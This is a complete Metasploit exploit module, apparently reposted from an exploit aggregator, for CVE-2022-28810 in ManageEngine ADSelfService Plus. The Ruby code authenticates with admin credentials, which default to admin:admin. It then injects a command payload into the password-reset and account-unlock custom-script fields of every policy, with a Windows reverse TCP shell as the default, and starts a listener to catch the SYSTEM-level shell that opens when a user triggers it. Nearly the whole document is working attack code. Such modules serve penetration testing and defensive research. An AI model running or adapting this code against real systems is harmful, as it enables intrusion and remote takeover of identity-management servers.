Share
## https://sploitus.com/exploit?id=1337DAY-ID-37661
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution',
        'Description' => %q{
          This module exploits the "custom script" feature of ADSelfService Plus. The
          feature was removed in build 6122 as part of the patch for CVE-2022-28810.
          For purposes of this module, a "custom script" is arbitrary operating system
          command execution.

          This module uses an attacker provided "admin" account to insert the malicious
          payload into the custom script fields. When a user resets their password or
          unlocks their account, the payload in the custom script will be executed.
          The payload will be executed as SYSTEM if ADSelfService Plus is installed as
          a service, which we believe is the normal operational behavior.

          This is a passive module because user interaction is required to trigger the
          payload. This module also does not automatically remove the malicious code from
          the remote target. Use the "TARGET_RESET" operation to remove the malicious
          custom script when you are done.

          ADSelfService Plus uses default credentials of "admin":"admin"
        },
        'Author' => [
          # Discovered and exploited by unknown threat actors
          'Jake Baines', # Analysis, CVE credit, and Metasploit module
          'Hernan Diaz', # Analysis and CVE credit
          'Andrew Iwamaye', # Analysis and CVE credit
          'Dan Kelley' # Analysis and CVE credit
        ],
        'References' => [
          ['CVE', '2022-28810'],
          ['URL', 'https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html'],
          ['URL', 'https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/']
        ],
        'DisclosureDate' => '2022-04-09',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Privileged' => true, # false if ADSelfService Plus is not run as a service
        'Stance' => Msf::Exploit::Stance::Passive,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8888,
          'DisablePayloadHandler' => true,
          'JJS_PATH' => '..\\jre\\bin\\jjs.exe'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/']),
      OptString.new('USERNAME', [true, 'The administrator username', 'admin']),
      OptString.new('PASSWORD', [true, 'The administrator user\'s password', 'admin']),
      OptBool.new('TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script field', false])
    ])
  end

  ##
  # Because this is an authenticated vulnerability, we will rely on a version string
  # for the check function. We can extract the version (or build) from selfservice/index.html.
  ##
  def check
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html'))
    unless res
      return CheckCode::Unknown('The target failed to respond to check.')
    end

    unless res.code == 200
      return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
    end

    ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]
    if ver.nil?
      return CheckCode::Safe('Could not extract a version number')
    end

    if Rex::Version.new(ver) < Rex::Version.new('6122')
      return CheckCode::Appears("This determination is based on the version string: #{ver}.")
    end

    CheckCode::Safe("This determination is based on the version string: #{ver}.")
  end

  ##
  # Authenticate with the remote target. Login requires four steps:
  #
  # 1. Grab a CSRF token
  # 2. Post credentials to /ServletAPI/accounts/login
  # 3. Post credentials to /j_security_check
  # 4. Grab another CSRF token for authenticated requests
  #
  # @return a new CSRF token to use with authenticated requests
  ##
  def authenticate
    # grab a CSRF token from the index
    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
    fail_with(Failure::Unreachable, 'The target did not respond') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?
    csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok

    # send the first login request to get the ssp token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'),
      'keep_cookies' => true,
      'vars_post' =>
      {
        'loginName' => datastore['USERNAME'],
        'domainName' => 'ADSelfService Plus Authentication',
        'j_username' => datastore['USERNAME'],
        'j_password' => datastore['PASSWORD'],
        'AUTHRULE_NAME' => 'ADAuthenticator',
        'adscsrf' => csrf_tok
      }
    })
    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200

    # send the second login request to get the sso token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/j_security_check'),
      'keep_cookies' => true,
      'vars_post' =>
      {
        'loginName' => datastore['USERNAME'],
        'domainName' => 'ADSelfService Plus Authentication',
        'j_username' => datastore['USERNAME'],
        'j_password' => datastore['PASSWORD'],
        'AUTHRULE_NAME' => 'ADAuthenticator',
        'adscsrf' => csrf_tok
      }
    })
    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302

    # revisit authorization.do to complete authentication
    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?
    csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok

    print_good('Authentication successful')
    csrf_tok
  end

  ##
  # Triggering the payload requires user interaction. Using the default payload
  # handler will cause this module to exit after planting the payload, so the
  # module will spawn it's own handler so that it doesn't exit until a shell
  # has been received/handled. Note that this module is passive so it should
  # just be chilling quietly in the background.
  #
  # This code is largely copy/paste from windows/local/persistence.rb
  ##
  def create_multihandler(lhost, lport, payload_name)
    pay = framework.payloads.create(payload_name)
    pay.datastore['LHOST'] = lhost
    pay.datastore['LPORT'] = lport
    print_status('Starting exploit/multi/handler')

    # Set options for module
    mh = framework.exploits.create('multi/handler')
    mh.share_datastore(pay.datastore)
    mh.datastore['PAYLOAD'] = payload_name
    mh.datastore['EXITFUNC'] = 'thread'
    mh.datastore['ExitOnSession'] = true
    # Validate module options
    mh.options.validate(mh.datastore)
    # Execute showing output
    mh.exploit_simple(
      'Payload' => mh.datastore['PAYLOAD'],
      'LocalInput' => user_input,
      'LocalOutput' => user_output,
      'RunAsJob' => true
    )

    # Check to make sure that the handler is actually valid
    # If another process has the port open, then the handler will fail
    # but it takes a few seconds to do so.  The module needs to give
    # the handler time to fail or the resulting connections from the
    # target could end up on on a different handler with the wrong payload
    # or dropped entirely.
    Rex.sleep(5)
    return nil if framework.jobs[mh.job_id.to_s].nil?

    return mh.job_id.to_s
  end

  # The json policy blob that ADSSP provides us is not accepted by ADSSP
  # if we try to POST it back. Specifically, ADSP is very unhappy about all
  # the booleans using "true" or "false" instead of "1" or "0" *except* for
  # HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but
  # here we are.
  def fix_adssp_json(json_hash)
    json_hash.map do |key, value|
      if value.is_a? Hash
        [key, fix_adssp_json(value)]
      elsif value.is_a? Array
        value = value.map do |array_val|
          if array_val.is_a? Hash
            array_val = fix_adssp_json(array_val)
          end
          array_val
        end
        [key, value]
      elsif key == 'HIDE_CAPTCHA_RPUA'
        [key, value]
      elsif value.is_a? TrueClass
        [key, 1]
      elsif value.is_a? FalseClass
        [key, 0]
      else
        [key, value]
      end
    end.to_h
  end

  def exploit
    csrf_tok = authenticate

    # Grab the list of configured policies
    policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')
    print_status("Requesting policy list from #{policy_list_uri}")
    res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
    fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200
    policy_json = res.get_json_document
    fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
    policy_details_json = policy_json['POLICY_DETAILS']
    fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?

    # There can be multiple policies. This logic will loop over each one, grab the configuration
    # details, update the configuration to include our payload, and then POST it back.
    policy_details_json.each do |policy_entry|
      policy_id = policy_entry['POLICY_ID']
      policy_name = policy_entry['POLICY_NAME']
      fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil?

      print_status("Requesting policy details for #{policy_name}")
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'),
        'vars_get' =>
        {
          'POLICY_ID' => policy_id
        }
      })
      fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200

      # load the JSON and insert (or remove) our payload
      specific_policy_json = res.get_json_document
      fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
      fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?
      new_payload = "cmd.exe /c #{payload.encoded}"

      if datastore['TARGET_RESET']
        print_status('Disabling custom script functionality')
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0'
        specific_policy_json['SCRIPT_COMMAND_RESET'] = ''
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0'
        specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = ''
      else
        print_status('Enabling custom scripts and inserting the payload')
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1'
        specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1'
        specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload
      end

      # fix up the ADSSP provided json so ADSSP will accept it o.O
      updated_policy = fix_adssp_json(specific_policy_json).to_json

      policy_update_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/setAPCDetails')
      print_status("Posting updated policy configuration to #{policy_update_uri}")
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => policy_update_uri,
        'vars_post' =>
        {
          'APC_SETTINGS_DETAILS' => updated_policy,
          'POLICY_NAME' => policy_name,
          'adscsrf' => csrf_tok
        }
      })
      fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200

      # spawn our own payload handler?
      if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']
        listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
        if listener_job_id.blank?
          print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
        end
      else
        print_good('Done!')
      end
    end
  end
end